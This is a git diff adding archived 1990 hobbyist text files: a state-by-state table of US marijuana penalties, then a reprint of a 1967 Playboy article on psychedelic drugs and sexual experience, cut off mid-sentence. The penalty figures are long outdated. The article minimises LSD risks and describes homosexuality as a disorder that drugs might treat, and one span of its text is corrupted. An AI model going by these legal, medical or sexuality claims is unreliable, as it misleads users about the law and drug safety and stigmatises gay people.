$500 +50-100 lbs: 3 yrs & $50,000 +100-5,000 lbs: 5 yrs & $100,000 +Over 5000 lbs: 15 yrs & $400,000 +Cultivation/Sale: Up to 50 lbs: 0-10 yrs & $10,000 +50-100 lbs: 3-10 yrs & $50,000 +100-5,000 lbs: 5 yrs & $100,000 +Over 5,000 lbs: 15 yrs & $400,000 + +FLORIDA +Possession: Up to 20 gms: 0-1 yr & $1,000 +20 gms-100 lbs: 0-5 yrs & $5,000 +100-2,000 lbs: 3-30 yrs & $25,000 +Over 10,000 lbs: 15-30 yrs & $200,000 +Cultivation/Sale: Up to 20 gms: 0-5 yrs & $5,000 +All other amounts: Same as penalties for possession + +GEORGIA +Possession: Up to 1 oz: 0-1 yr & $1,000 +1 oz-100 lbs: 1-10 yrs +100-2,000 lbs: 5-10 yrs & $25,000 +2,000-10,000 lbs: 7-10 yrs & $50,000 +Over 10,000 lbs: 15-30 yrs & $200,000 +Cultivation/Sale: Up to 100 lbs: 1-10 yrs +All other amounts: Same penalties as for possession + +HAWAII +Possession: Up to 1 oz: 0-30 days & $500 +1 oz-2.2 lbs: 0-1 yr & $1,000 +Over 2.2 lbs: 0-5 yrs & $5,000 +Cultivation/Sale: Up to 1 oz: 0-1 yr & $1,000 +All other amount: Same as penalties for possession + +IDAHO +Possession: Up to 3 oz: 0-1 yr & $1,000 +Over 3 oz: 0-10 yrs & $10,000 +Cultivation/Sale: Up to 3 oz: 0-5 yrs & $1,000 +Over 3 oz: 0-5 yrs: 0-5 yrs & $15,000 + +ILLINOIS +Possession: Under 2.5 gms: 0-30 days & $500 +2.5-10 gms: 0-6 mos & $500 +10-30 gms: 0-1 yr & $1,000 +30-500 gms: 1-3 yrs & $10,000 +Over 500 gms: 2-5 yrs & 10,000 +Cultivation/Sale: Under 2.5 gms: 0-6 mos & $500 +2.5-10 gms: 0-1 yr & $1,000 +10-30 gms: 0-1 yr & $10,000 +30-500 gms: 2-5 yrs & $50,000 +Over 500 gms: 3-7 yrs & $100,000 + +INDIANA +Possession: Up to 30 gms: 0-1 yr & $1,000 +Over 30 gms but less than 10 lbs: 0-2 yrs & $10,000 +Cultivation/Sale: Same penalties as for possession + +IOWA +Possession: Any amount: 0-6 mos & $2,500 +Cultivation: Any amount: 0-5 yrs & $2,500 +Sale: Any amount: 0-5 yrs & $10,000 + +KANSAS +Possession: Any amount: 0-1 yr & $2,500 +Cultivation: Any amount: 0-1 yr & $2,500 +Sale: Any amount: 1-10 yrs & $10,000 + +KENTUCKY +Possession: Less than 8 oz: 0-1 yr & $500 +8 oz-5 lbs: 1-5 yrs & $2,500 +5 lbs or more: 5-10 yrs & $5,000-$10,000 +Cultivation/Sale: Penalties are the same as for possession +Note: Up to 4 plants is treated as simple possession + +LOUISIANA +Possession: Under 100 lbs: 0-6 mos & $500 +100-2,000 lbs: 5-15 yrs & $50,000 +2,000-10,000 lbs: 15-25 yrs & $200,000 +Over 10,000 lbs: 25-35 yrs & $500,000 +Cultivation/Sale: Up to 1.5 oz: 0-1 yr & $1,000 +All other penalties same as for possession + +MAINE +Possession: Any amount for personal use up to 1.5 oz: $0-$200 +1.5-2 lbs: 0-1 yr & $1,000 +2-1,000 lbs: 0-5 yrs & $2,500 +Over 1,000 lbs: 0-10 yrs & $10,000 +Cultivation/Sale: Up to 1.5 oz: 0-1 yr & $1,000 +All other penalties same as for possession + +MARYLAND +Possession/Cultivation: Any personal use amount: 0-1 yr & $1,000 +Any other amount, presumed intent to distribute: 5-15 yrs & $15,000 +Importation of over 100 lbs into Maryland: 0-25 yrs & $50,000 +Second Offense Mandatory 2 yrs, up to 15 yrs & $10,000 + +MASSACHUSETTS +Possession: Any amount for personal use: Probation +Cultivation/Sale: 0-2 yrs & $5,000 + +MICHIGAN +Possession: Any amount: 0-1 yr & $1,000 +Use: 0-90 days & $100 +Cultivation/Sale: 0-4 yrs & $5,000 +City of Ann Arbor: Possession under 1 oz: $0-$100 + +MINNESOTA +Possession: Up to 1.5 oz: $0-$100 +Over 1.5 oz: 0-3 yrs & $3,000 +Cultivation/Sale: Any amount: 0-5 yrs & $30,000 + +MISSISSIPPI +Possession: Up to 1 oz not in vehicle: $100-$250 +1 gm-1 oz in vechicle: 0-90 days & $1,000 +1 oz-2.2 lbs: 0-2 yrs & $3,000 +Over 2.2 lbs: 0-20 yrs & $1,000,000 (1 million!) +Cultivation/Sale: Up to 1 oz: 0-3 yrs & $3,000 +1 oz-2.2 lbs: 0-20 yrs & $30,000 +Over 2.2 lbs: 0-30 yrs & $1,000,000 (1 million!) + +MISSOURI +Possession/Cultivation: Up to 35 gms: 0-1 yr & $1,000 +Over 35 gms: 0-5 yrs & $1,000 +Sale: Any amount: 5 yrs to life +Note: Any marijuana offense while driving punished by license suspension for 1 +year + +MONTANA +Possession: Up to 60 gms: 0-6 mos & $500 +Over 60 gms: 0-50 yrs & $50,000 +Cultivation/Sale: 1 yr to life & $50,000 + +NEBRASKA +Possession: Up to 1 oz: $100 and drug education +1 oz-1 lb: 0-7 days & $500 +Over 1 lb: 0-5 yrs & $10,000 +Cultivation/Sale: Any amount: 0-15 yrs & $10,000 + +NEVADA +Possession: Up to 1 oz by a person under 21: 0-6 yrs & $2,000 +Up to 100 lbs by an adult: probation-6 yrs & $5,000 +100-2,000 lbs: 3-20 yrs & $25,000 +2,000-10,000 lbs: 5-20 yrs & $50,000 +Over 10,000 lbs: 5 yrs to life & $200,000 +Cultivation/Sale: Up to 100 lbs: 1-15 yrs & $5,000 +All other penalties are the same as for possession + +NEW HAMPSHIRE +Possession: Up to 1 lb: 0-1 yr & $1,000 +Over 1 lb: 0-7 yrs & $2,000 +Cultivation/Sale: Any amount: 0-15 yrs & $2,000 + +NEW JERSEY +Possession: under 50 gms: 0-6 mos & $750 and 2 year driver license suspension +Over 50 gms: 0-5 yrs & $15,000 +Cultivation/Sale: 0-5 yrs & $15,000 +New Jersey also has provisions for doubling penalties if they occur within +1,000 feet of a school, and strengthened penalties for people that employ +minors in the drug trade + +NEW MEXICO +Possession: Up to 1 oz: 0-15 days & $100 +1-8 oz: 0-1 yr & $1,000 +8 oz-100 lb: 0-18 mos & $5,000 +Over 100 lbs: 3 yrs & $5,000 +Cultivation: Any amount: 9 yrs & $10,000 +Sale: 1 gm-100 lbs: 18 mos & $5,000 +Over 100 lbs: 3 yrs & $5,000 + +NEW YORK +Possession: Up to 25 gms in private: $0-$100 +25 gms-2 oz: 0-3 mos & $500 +2-4 oz: 0-1 yr & $1,000 +4-8 oz: 0-4 yrs +1-10 lbs: 0-7 yrs +Over 10 lbs: 0-15 yrs +Cultivation: Up to 4 oz: 0-1 yr & $1,000 +4-8 oz: 0-1 yr & $10,000 +8 oz-1 lb: 0-4 yrs +1-10 lbs: 0-7 yrs +Over 10 lbs: 0-15 yrs +Sale: Up to 25 gms: 0-1 yr & $1,000 +25 gms-4 oz: 0-4 yrs +4 oz-1 lb: 0-7 yrs +Over 1 lb:0-15 yrs + +NORTH CAROLINA +Possession: Up to 1 oz: 0-30 days & $100 suspended drivers license +Over 1 oz: 0-2 yrs & $2,000 +Cultivation/Sale: Penalties names as possession of over 1 oz +The following mandatory minimum sentences are provided for trafficking +offenses: +Over 50 lbs but less than 100 lbs: 5 yr minimum +Over 100 lbs but less than 2,000 lbs: 14 yr minimum, 20 yr maximum +Over 10,000 lbs: 35 yr minimum, 40 yr maximum + +NORTH DAKOTA +Possession: Up to .5 oz not in vehicle: 0-30 days & $500 conditional +.5 oz-1 oz not in vehicle, or .5 oz in vehicle: 0-1 yr & $1,000 +Over 1 oz: 0-5 yrs & $5,000 +Cultivation/Sale: Any amount: 0-10 yrs & $10,000 + +OHIO +Possession: Up to 100 gms: $0-$100 +100-200 gms: 0-30 days & $250 +200-600 gms: 6 mos-5 yrs & $2,500 +Over 600 gms: 1-10 yrs & $5,000 +Cultivation/Sale: Up to 200 gms: 6 mos-5 yrs & $2,500 +200-600 gms: 1-10 yrs & $5,000 +Over 600 gms: 2-15 yrs & $7,500 + +OKLAHOMA +Possession: Any amount for personal use: 0-1 yr +Cultivation: Any amount: 2-10 yrs & $50,000 +Sale: Less than 25 lbs: 2-10 yrs & $20,000 +25-1,000 lbs: 2-10 yrs & $25,000-$100,000 +Over 1,000 lbs:1-10 yrs & $100,000-$500,000 + +OREGON +Possession: Up to 1 oz: $0-$100 +Over 1 oz: 0-10 yrs & $2,500 +Cultivation/Sale: Any amount: 0-20 yrs & $15,000 + +PENNSYLVANIA +Possession: Up to 30 gms: 0-30 days & $500 +Over 30 gms: 0-1 yr & $5,000 +Cultivation/Sale: Any amount: 10-30 yrs & $50,000 + +RHODE ISLAND +Possession: Less than 1 kg: 0-1 yr & $250 +More than 1 kilo: 10 yr mandatory minimum +Cultivation/Sale: Any amount: 10-30 yrs & $50,000 + +SOUTH CAROLINA +Possession: Up to 1 oz: 0-30 days and $200 +Over 1 oz: 0-5 yrs & $5,000 +Cultivation/Sale: Penalties same as possession for over 1 oz + +SOUTH DAKOTA +Possession: Up to 1 oz: 0-30 days & $100 +1 oz-1 lb: 0-1 yr & $1,000 +1-10 lbs: 0-2 yrs & $2,000 +Over 10 lbs: 0-10 yrs & $10,000 +Cultivation/Sale: Up to 1 lb: 0-1 yr & $1,000 +1-10 lbs: 0-2 yrs & $2,000 +Over 10 lbs: 0-10 yrs & $10,000 +Note: Penalty for cultivation under 1 oz same as possession under 1 oz + +TENNESEE +Possession: Up to 10 lbs: 0-1 yr & $1,000 +Over 10 lbs: 4-10 yrs & $10,000 +Cultivation/Sale: Up to .5 oz: 0-1 yr & $1,000 +.5 oz-10 lbs: 4-10 yrs & $10,000 +Note: Cultivation carries mandatory 1 year minimum sentence + +TEXAS +Possession: Up to 2 oz: 0-6 mos & $1,000 +2-4 oz: 0-1 yr & $2,000 +4 oz-5 lbs: 2-10 yrs & $5,000 +5-50 lbs: 2-20 yrs & $10,000 +Cultivation/Sale: Under 2 oz: 0-1 yr & $1,000 +Over 2 oz: Same penalties as for possession +Texas also has very strict mandatory minimum sentences for amounts over 50 lbs +and sale to minors + +UTAH +Possession: 0-6 mos & $300 +Cultivation/Sale: 0-5 yrs & $5,000 + +VERMONT +Possession: Up to .5 oz: 0-6 mos & $500 +.5-2 oz: 0-3 yrs & $3,000 +Over 2 oz: 0-5 yrs & $5,000 +Cultivation/Sale: Any amount: 0-5 yrs & $5,000 + +VIRGINIA +Possession: Up to 5 lbs: 0-30 days & $500 +Cultivation: Up to 5 lbs: 0-30 days & $500 +Over 5 lbs: 5-30 yrs +Sale: Up to .5 oz:0-1 yr & $1,000 +.5 oz-5 lbs: 0-10 yrs & $1,000 +Over 5 lbs: 5-30 yrs + +WASHINTON +Possession: Up to 40 gms: 0-90 days & $250 +Over 40 gms: 0-5 yrs & $10,000 +Cultivation/Sale: Any amount: 0-5 yrs & $15,000 + +WEST VIRGINIA +Possession: Up to 15 gms: conditional discharge +Over 15 gms: 90 days-6 mos & $1,000 +Cultivation/Sale: Any amount: 1-5 yrs & $15,000 + +WISCONSIN +Possession: Any amount: 0-30 days & $500 +Cultivation/Sale: Any amount 0-5 yrs & $15,000 +City of Madison: Possession: $0-$100 + +WYOMING +Possession/Cultivation: Any amount: 0-6 mos & $1,000 +Sale: Any amount: 0-10 yrs & $10,000 + + *=-- --=* { } + -=*/> Buzzz Bros. <\*=- + { MCMXC } + *=-- --=* + + Freedom Is A Road Seldom Traveled By The Multitude + + __________________ + + Special thanks to: ___________________ + +HIGH TIMES (bud smokers bible) +Marlboro Cigarettes +Faith No More +N.W.A. + -and- +Public Enemy + diff --git a/textfiles.com/groups/BUZZ/bbros-02.txt b/textfiles.com/groups/BUZZ/bbros-02.txt new file mode 100644 index 00000000..2b5e43b3 --- /dev/null +++ b/textfiles.com/groups/BUZZ/bbros-02.txt @@ -0,0 +1,636 @@ + + *=-- --=* + { the } + -=/*> Buzzz Bros <*\=- + present.. + + Sex, + Ecstasy + and the + Psychedelic Drugs + By R.E.L. Masters + + Text entry by Major Havoc + { } + *=-- --=* + + *=-- ---=* + { This file is a copy of an article that was first published in Playboy } + November 1967. Although over 20 years old, it is a perfect + { example of the budding use, evaluation and enjoyment } + *=-- of psychedelic drugs in the late '60s. --=* + + + + History records few human quests as unremitting or as widespread as the +search for a harmless, effective sex stimulant. Recent claims - such as +those made by Timothy Leary - that LSD is the greatest aphrodisiac known to +man, have excited much interest in the sexual potential of psychedelic drugs. +Sober discussion of psychedelic substances was difficult enough before sex +entered the picture; now it is close to impossible. But bearing in mind that +there is a great deal more to psychedelics than sex, it might clear the air +to examine the effects of lysergic acid diethylamide - and several other +psychedelic drugs - on human sexual behavior. + + Along with the comparatively new synthetic psychedelics, including LSD +and psilocybin, there are similar mind-altering substances present in many +forms of plant life. Some of these have been used for hundreds and even +thousands of years. Examples are the peyote cactus, the Cannibis hemp plant, +the opium poppy and several varieties of mushrooms and morning-glory plants. + Most have been linked in one way or another with sex. + + Whether opium - probably Homer's nepenthe - should be considered a +psychedelic drug is largely a matter of semantics. Some would-be authorities +exclude all addictive drugs, including opium, from the class of psychedelics. +However opium does produce effects similar to those produced by nonaddictive +psychedelics, and among these are sexual effects that merit conçâtÿ=dYˆëj÷Ü&>- Prolonged use of opium results in mental and physical and mental +deterioration, including impotence. However, before is takes its toll, the +drug can powerfully and pleasurably enhance sexual experience. No one has +described the specific sexual effects of opium as well as the 19th century +French Army surgeon and anthropologist Jacobus Sutor, who authored numerous +sexological studies under the pseudonym Jacobus X. "According to my person +experience," wrote Jacobus, "and from avowals made to me by women, both +Europeans and Asiatics, the effects produced by opium in moderate doses, say +from 10 to 20 pipes, are as follows: Under the influence of erotic +excitement, either direct or merely mental, an erection is quickly produced, +if you want to copulate. But - and this has never been remarked by any other +author - although the penis is in a stiff erection, its nerves, and more +particularly, those of the glans, are anesthetized by the effets of the +opium, and though the erection is strong, the emission, on the contrary, is +much retarded and takes place only after prolonged copulation. This +anesthetic effect is also produced in the nerves of the vulva, the vagina and +the rectum of the woman, and the 'psychological moment' arives slowly. The +constrictor muscles of the vagina, and especially those of the rectum, +undergo a kind of relaxation." He goes on to say that, with larger doses, +more than 15 or 20 pipes, erection becomes incomplete; and with 30 or 40 +pipes, it is absent altogether. + + Jacobus' remarks also apply to peyote, to the LSD-type synthetics and, to +a lesser degree marijuana. Those under the influence of these drugs describe +the mild surface anesthesia, if that is what it is, as a feeling of +'rubberiness' that effects the penis, the female genitals and also sometimes +the mouth, the breasts, the fingers and other body areas. It is by no means +an unpleasent sensation; often it is descibed as heightened feelings of +voluptuousness. Along with the rubbery sensation, the genitals, if excited, +are felt to be engorged to an unusual degree. + + At least as ancient as opium is the hemp plant (Cannibis sativa, or +Cannibis indica). When used as a drug, it is called marijuana, hashish and a +great deal of other names. Scientific reports on the sexual effects of +marijuana are conflicting. For example, the French toxicologist Erich Hesse +(Narcotics and Drug Addiction) tells us that marijuana and hashish provide no +sexual stimulation whatever; but another physician-author Bernard Finch +(Passport to Paradise), declares that "After several inhalations, a feeling +of sexual excitement develops and the smoker is able to improve his sexual +performance, in that erection is stronger and more persistant, but orgasm is +depressed and usually does not take place." + + I could provide a great many more conflicting 'authoratative' statements +on this matter, although Finch is the only writer I know who suggests that +marijuana by itself produces a condition of sexual excitation. He also is +the only one to say that orgasm "usually" does not take place. + + From many other times and places, we also have claims that hemp is an +aphrodisiac - and other claims that it is an anaphrodisiac, an inhibitor of +sexual desire or of potency. But whichever way they lean, the authors of +these claims are relying on personal predeliction, on very limited interview +data or on the verdict of some favorite 'authority' who has already made +similar errors. We find the same conflicting evidence from "experts" writing +about the sexual effect of peyote or LSD. + + Anyone who has carefully studied psychoactive drugs should know that many +different effects are possible, depending on personal, cultural or immediate +situational factors - which are often crucial in determining drug-state +behavior. With marijuana and other psychedelics, people who are sexually +stimulated may find that their stimulation is greater than usual and that +their capacity to respond has been heightened. Others may find themselves +totally indifferent such as the writer Theophile Gautier, who took some +hashish and generalized that "a hashish user would not lift a finger for the +most beautiful woman in Verona." The same individual may find that he is +greatly aroused on one occasion and unexcited on the next. Or his mind may +experience desire while is body is unable to act in concert with it. + + Some cultures place great faith in the aphrodisiacal effects of hemp; and +in those cultures the drug often does function as an aphrodisiac - producing +sexual excitation, enhancing potency and pleasure, and prolonging sexual +intercourse. Amoung Arabs, there is a vast lore of the effectiveness of hemp +in maintaining an erection - the prolongation of the sex act being almost an +obsession with some Moslems. A famous poem on this subject begins: + + The member of Abu'l-Haylukh remained + In erection for 30 days, sustained + By smoking hashish + Abu'l-Haylukh deflowered in one night + Eighty virgins in a rigid rite + After smoking hashish + + The poem goes on to describe still more feats of sexual athleticism; but +underlying its characteristic Arab hyperbole is some solid fact - hemp can, +indeed, prolong an erection. Besides the mild anesthesia described by +Jacobus, the male, with marijuana, may feel that his erect organ is bigger +and more rigid than ordinarily. Sometimes, as happens with LSD and peyote, +too, orgasm does not occur at all, which causes him no great distress, since +he feels that this is a small price to pay for for the pleasure he has +enjoyed, and the impression he has made on his partner. When copulation does +not lead to orgasm, both partners still may achieve it by vigorous +masturbation. + + My own data regarding the contemporary use of marijuana use in this +country - in terms of its sexual effects - reflect the conflict in this +literature. Individual testimonials describe both sexual successes and +sexual failures. Overall, it appears that up to now, marijuana has been +about as likely to impair as to improve sexual performance. However, growing +acceptance of the drug may be making the latter effect the more common. Much +can depend on the users intention. Some prostitues smoke marijuana to +eliminate genital sensation - while at the same time they give the weed to +their customer to help him become more stimulated. In this case, it probably +works for the male because it makes him more responsive to the suggestion +that he will be more potent - and simultaniously it may reduce his +inhabitions and anxieties. + + It should be noted, however, taht sexual effects may relate to the +potency of the drug. The strength of hemp products can depend on many things +- where the hemp is grown, how it is harvested and prepared and how it is +consumed. From one country to the next, or amoung regions of a country, +there are great diferences in the potency of the plants. As to consumption, +it is believed that smoking gives the strongest effect, by altering the +chemical composition of the drug. Research in these areas are now under way, +but results are still inconclusive. The eventual findings may explain to +some extent the different responses amoung marijuana smokers. But individual +psychology will still be a major factor. + + At its best, most marijuana consumed in the U.S. is a maild psychedelic +drug, affording what is rarely more than a pallid approximation of the +experiences possible with LSD and peyote. The effects of these two on sexual +intercourse are virtually identical, and a statement about LSD may well be +understood to apply just as well to peyote - and probably to ther LSD-type +psychochemicals, such as mescaline and psilocybin. + + I compiled my data on the sexual effects of psychedelic drugs in a series +of interviews, mostly "in depth" beginning in 1954 and continuing today. My +information is based on more than 300 drug-state sexual experiences on the +part of 94 persons, about two thirds of them males. Nineteen homosexual +experiences are included. The interview subjects were almost college +graduates from middle-class white Protestant backgrounds. Most of them took +the psychedelic drugs outside any formal research or therapeutic context and +then reported their experiences to me. + + In other words, I did not study the effects of psychedelics on sex in the +laboratory, as sexual intersourse has been so fruitfully studieds by Wiliam +Masters and Virginia Johnson in St. Louis. My firsthand research with +psychedelic drugs - which was largely concerned with matters other than sex - +has now been abruptly ended by laws prohibiting almost all research in this +area. Buit I did obtain, in the sessions I guided personally, some material +significant in understanding psychosexual disorders. It was surprising how +often these disorders seemed grounded in problem of values or, specifically, +in low self-esteem. Nowhere can values be so quickly and so drastically +changed as in LSD sessions. In several instances, discussed below, persons +with sexual problems showed noticeable improvemnet after their LSD sessions - +quite a remarkable occurance, inasmuch as the sessions were intended as +research and therapeutic results were not expected. + + To determine whether psychedelics drugs are, indeed, aphrodisiacs, we +must first determine what we mean by an aphrodisiac. If we mean that the +drugs specifically excite the sexual organs, then psychedelics are not +aphrodisiacs. If we mean that they produce or encourage sexual desire, again +they are not aphrodisiacs. But if we mean that the drugs can profoundly +enhance the quality of sexual acts that occur between people who would, in +any case, have had intercourse, then the drugs are aphrodisiacs, and my only +objection to the term in this context is that it will continue to be misused +by psychedelic or sexual extremists. + + Drug-state phenomenea that occur during a sex act occur in other +drug-state contexts, too. The most common are changes in sensory perception, +in awareness of time, in the state of the ego, in one's relations to others +and in the emotions generally. In fact, these changes effect whatever one +does, whether it be listening to music, walking through a forest - or making +love. + + The positive effects of LSD in lovemaking can best be appreciated by +describing a hypothetical sexual act between husband-and-wife lovers - or +between single lovers, should that seem more adventurous. I will not, +however, hypothesize a casual erotic encounter between two near strangers, +because such an encounter would be less likely to produce so favorable an +experience. A strong emotional bond, or at least very positive feelings for +the partner, is much more likely to yield the richest, most intense and most +ecstatic experience. + + People rarely have sexual intercourse at the very start of a psychedelic +trip. First, as the perceptual changes occur and as consciousness is altered +in other ways, they need to orient themselves in this new world. In my +sample, this was true no matter how many previous LSD experiences they might +have shared. Typically, when there is sexual intercourse, it occurs at least +one hour and usually several hours after the onset of the psychedelic +effects. + + When the two people are longtime lovers, they may feel, in the drug +state, an emotional closeness as intense as they felt in the early, most +emotion-charged stages of being in love. Since visual perception is highly +responsive to the emotions, each partner may take on an appearance of +extraordinary radiance and beauty. Communication may seem multileveled, with +a greatly hightened sensitivity to nuances of meaning - in gestures, caresses +and words as well. If this couple decides to make love, they will bring this +heightened sensitivity to their union, and their desire and the act itself +may be suffocated with the same positive emotion - and with the same beauty - +that has been present in their perceptions. + + As foreplay and intercourse increaase their excitement, the couple will +become aware of the genital sensations described by Jacobus. The man may +feel that his erection is larger and more firm and his potency greater than +it has ever been before, heightening his confidence, producing a greater +sense of total genital arousal and increasing his capacity to respond. +Anxiety about the duration of the act will very quickly dissappear. The +couple will feel that their lovemaking will last just as long as they want it +to last, so that time no longer matters. In the more profound experiences, +there may be a sense of timelessness - of the eternal. + + Several elements combine to produce these novel and extrememly +pleasurable awarenesses of time. For one thing, intercourse always does last +much longer in terms of the clock. This is probably because of the mildly +anesthetized state of the sexual organs - although the term 'anesthesia' +seems strikingly inappropriate in describing these very intense sensations. +Moreover, diminished inhabitions soon produce self-confidence and spontaneity +that help reduce concern about the duration of the act. Finally, there is +the distortion - or 'slowing down' - of time that is a usual and important +aspect of the psychedelic state. This distortion (a term that is technically +correct but fails to convey its positive qualities) of subjective time is +experienced because the mental processes have been enormously accelerated. +So much may be experienced in a few minutes of clock-measured time that the +person typically declares that 'hours' or sometimes 'eons' seem to have +passed. A sexual union that in fact lasts 30 minutes or an hour may seem +'endless' or to have 'the flavor of eternity.' Lovemaking that lasts for +several hours is not too infrequent. + + The sexual union gathers ever more meaning and beauty as it progresses. +It may even take on symbolic and archetypal overtones. The couple may feel +that they are mythic, legendary, or more-than-human figures as they act out +in a timeless and beneficient space of eternally recurring drama of love and +creation. The feeling of being more than human does not indicate grandiosity +but, rather, that one has transcended the ordinary boundaries of self, the +limits of time and space, so that something more, some infusion of the divine +or supernatural, must have occured. This awareness is accompanied by +profound feelings of security, tenderness, humility and gratitude. Sometimes +only one partner will enjoy this transcendental experience, but with +surprising frequency the feelings are shared. + + When sexual union includes altered states of consciousness such as these, +it is properly described as ecstatic. It may progress to include one or even +several instances of apparent physical and psychic melting into and becoming +one with the partner. Whether this occurs in a sexual union or in a mystical +context, or in a combination of the two, it is almost always regarded as one +of the most profound and fulfilling experiences human life has to offer. The +one that the two become is a unity much greater than its components. +Religiously devout or mystically inclined people may have the sense of a +unity that is also a trinity, with God present in the oneness. In any case, +an experience of this order can hardly be dismissed as 'sexual mysticism' - a +term sneeringly used by some of the more rabid opponents of psychedelic +experimentation. Nor can it be tossed away with some labels from +psychopathology, such as 'ego dissolusion' and 'depersonalization.' It can +be one of the most beautiful and important experiences in life. + + In view of all that has gone before, the orgasm - when it arrives - may +seem something of an anticlimactic climax. Some people, in this orgasm-happy +society, learn for the first time how much more than can be to sex than the +brief intensity of the climax - and how much their past sexual experience has +been impoverished by the urgent and infantile drive toward orgasm that is so +prevalent in Western societies. + + However, the orgasm, too, is 'psychedelic' - that is, magnafied or +intensified. Time distortion can greatly prolong it, and there is an +awareness of the whole process from beginning to end, in far greater detail. +Men very often report sensations of gathering tension, concentration of +energy and then an extremely acute awareness of the spasmodic propulsion of +the ejaculate, which is plainly and pleasurably felt as it travels along the +urethra and is ejected into the vagina of the partner. At the same time, +there is a greatly intensified awareness of the genital organs of the +partner: Their texture, temperature and movement. Some women for the first +time become keenly aware of the pulsations of the male organ as climax begins +- and of the ejaculate as they receive it. + + Orgasm is often experienced upon two levels. It is the most intensely +erotic aspect of the act, as consciousness seems totally absorbed in the +orgasmic sensations. And yet there seems also to be another consciousness, +which does not dilute but rather reinforces the genital consciousness. This +is the sense of attaining the beautiful climax of a beautiful experience. + + Remarkably, in view of the richness of the experience, throughout these +unions there is an undiminished and sometimes greatly intensified awareness +of the partner. One does not lapse into a selfish and exclusive +preoccupation with the components of ecstasy. + + In almost 25 percent of the sexual acts I recorded, one or both partners +did not reach orgasm. This was nothing new for most of the women; but for +some of the men, it was a novel experience. Typically, however, the absence +of orgasm was not a disappointment. The act itself was so fulfilling that +the attitude was: Who cares whether there was an orgasm? This, too, can be a +valuable experience for those women who sledom climax in their ordinary +lovemaking. It teaches them that even without orgasm, sex can provide +remarkable fulfillment. + + Under the influence of psychedelics, the anorgasmic woman can experience +great joy in intercourse and derive gratification from conferring just as +much joy on her partner. If this lesson were learned and applied to all +intercourse, many people - both male and female - would be better off for it. +It is worth noting that at least some have learned it through psychedelic +experimentation. + + The foregoing description was of a maximal drug-state sexual experience. +Slightly more than half of my heterosexual subjects reported extraordinary +unions resembling or approaching this at least once. The frequency probably +would have been lower with younger or with less intelligent individuals, +because richness of personality is a key factor in determining the richness +of the psychedelic experience. An earned capacity for appreciating the +complex and profound must already exist. + + My intention here is not to promote the haphazard and now illegal use of +psychedelic drugs - with or without sexual intercourse. But it is only +realistic to admit that many thousands of people are taking psychochemicals +without screening or adequate guidance. Of these, a good many are also +experimenting with sex. It seems best that they be informed about +possibilites beyond 'kicks' and trivia, so that they can explore the many +valuable aspects of an experience that might otherwise be wasted. + + My research indicates that homosexuals in psychedelic states enjoy +profound, ecstatic sexual experiences with less frequency - and less +intensity - than their heterosexual counterparts. Female homosexuals seem +more likely to have profound sexual experiences than male homosexuals. The +very practical matter of the positioning of the bodies apprears to provide a +partial explanation. The ecstatic experience seems more likely to occur when +one faces the partner while the act is being performed. Social attitude +toward homosexuality, as well as the homosexual's typical guilt and low +self-esteem, may also be deterrents. In the drug state, homosexual acts are +usually specifically erotic and less invested with other positive meaning. +However, the physical pleasure of genital, oral and anal sensations is +enhanced, just as with heterosexuals. + + Claims that LSD-state sexual intercourse can 'cure' homosexuality and +frigidity may lead to enormous disappointment - and possibly serious harm - + to psychosexually disturbed people, who have enough problems already. Under +the influence of psychedelics, a failure to funtion as promised might cause a +powerful reinforcement of existing disorders, making any cure more difficult. + + Nor is it invariably, or even frequently, true that, in the words of +Timothy Leary, a "neurological and cellular fidelity" delvelops between two +person who have had sexual relations during an LSD experience. The notion is +poetic but inaccurate. Even the most beautiful drug-state sexual unions do +not always guarantee change in a previous relationship. Leary's devotees +sometimes tell me, with what sometimes seems more hope than conviction, that +Leary speaks a 'private language,' the better to convey the ineffable truths. +However, the fact is that he is taken literally by a great many people. He +has said, for instance, that "in a carefully prepared, loving LSD session, a +woman will inevitably have several hundred orgasms." I have yet to hear from +anyone else a single instance remotely approximating this; and I feel rather +confident that if it had been happening with any frequency, the world would +not have had to wait for Leary to announce it. + + While LSD can hardly be considered a panacea for sexual disorders, it +does hold promise for becoming an extremely valuable tool in treating those +and many other promises. And it will become even more valuable when +therapists stop regarding it as adjunt to their old procedures and develop +psychedelic therapies permitting them to make full use of the great weath of +phenomenea available. + + Scientific literature on psychedelics includes hundreds of reports of +successful treatment, even with the old procedures, for such disorders as +homosexuality, figidity, impotence, fetishism and even transvestism, one of +the most difficult to treat of all sexual deviations. Good progress in these +areas has been made in England, and it is certainly unfortunate that +psychotherapists in this country are legally unable to work extensively with +psychedelics. + + Some homosexuals, for instance, as part of their low self-esteem, have a +distorted body image. They think they are ugly or deformed when they are +not, and may believe that they have an abnormally small penis - when they +actually have a normal one. In LSD sessions I recorded, the body image of +homosexualsd sometimes became normalized, heightening self-esteem and +producing definate trends toward heterosexualization. Here, homosexuality +seemed based mainly on values - not on some long past traumatic experience. +In any case, heterosexualization could occur without any trauma being dealt +with. However, when there was no subsequent therapy, the subjects' +homosexuality returned within a few months after their LSD sessions were over. + + Some men with potency problems decided in their LSD sessions that their +sexual organs were not too small and afterward their potency improved, +sometimes permanently. A frigid woman discovered that an 'inner voice' had +been calling her a 'fake' and an 'unworthy person.' The voiced ordinarily +talked to her 'on some below level consciousness'; but in her LSD session, +she heard it clearly and she was able to refute it just as clearly. After +freeing herself from this voice, she felt she no longer had to punish herself +by denying herself sexual pleasure. Her frigidity soon was overcome - and +had not reappeard almost four years later. + + The therapeutic value of LSD is by no means limited to sexual disorders. +Alcoholics intractable to all previous therapies have quit drinking or become +much improved after treatment with psychedelics. Cure and improvement rates +range anywhere from 25 to 75 percent, and some of the studies have been very +well controlled. In other cases previously withdrawn, schizophrenic children +improved when psychedelics were administered. Given the questionable value +of some approved psychoterapies, it is a wonder that public outcry has not +demanded increased use of psychedelics in the areas where there promise seems +so great. + + Possibly such a great demand is now discouraged by recent evidence +linking LSD to chromosomal abnormalties. This charge must be considered in +proper perspective. The fact is that no one, at the present time, can say +how important LSD-caused chromosomal damage may be. We do know that rather +similar chromosomal changes are produced by many products widely used - +caffeine (in coffee and cola drinks), alcohol, antibiotics and a wide range +of drugs about which no such furor has been raised. Live measles vaccine, in +particular, quickly produces chromosomal breaks. We know, too, that LSD has +been in use for a quarter of a century, apparently without causing cancer or +deformed infants - the two main specters with which chromosomal damage of +this kind seems to confront us. Moreover, the U.S. Government continues to +sponser a few LSD therapy projects, so Government scientists must not feel +the risks are too great. The sensible position must be to weigh LSD's value +against possible, but not demonstrated, dangers. The evidence is sufficent +to warrant withholding LSD from pregnant females. + + This may also be the place to mention briefly a new psychedelic +substance, STP. STP is yet more potent than LSD, producing effects that may +continue for days. It 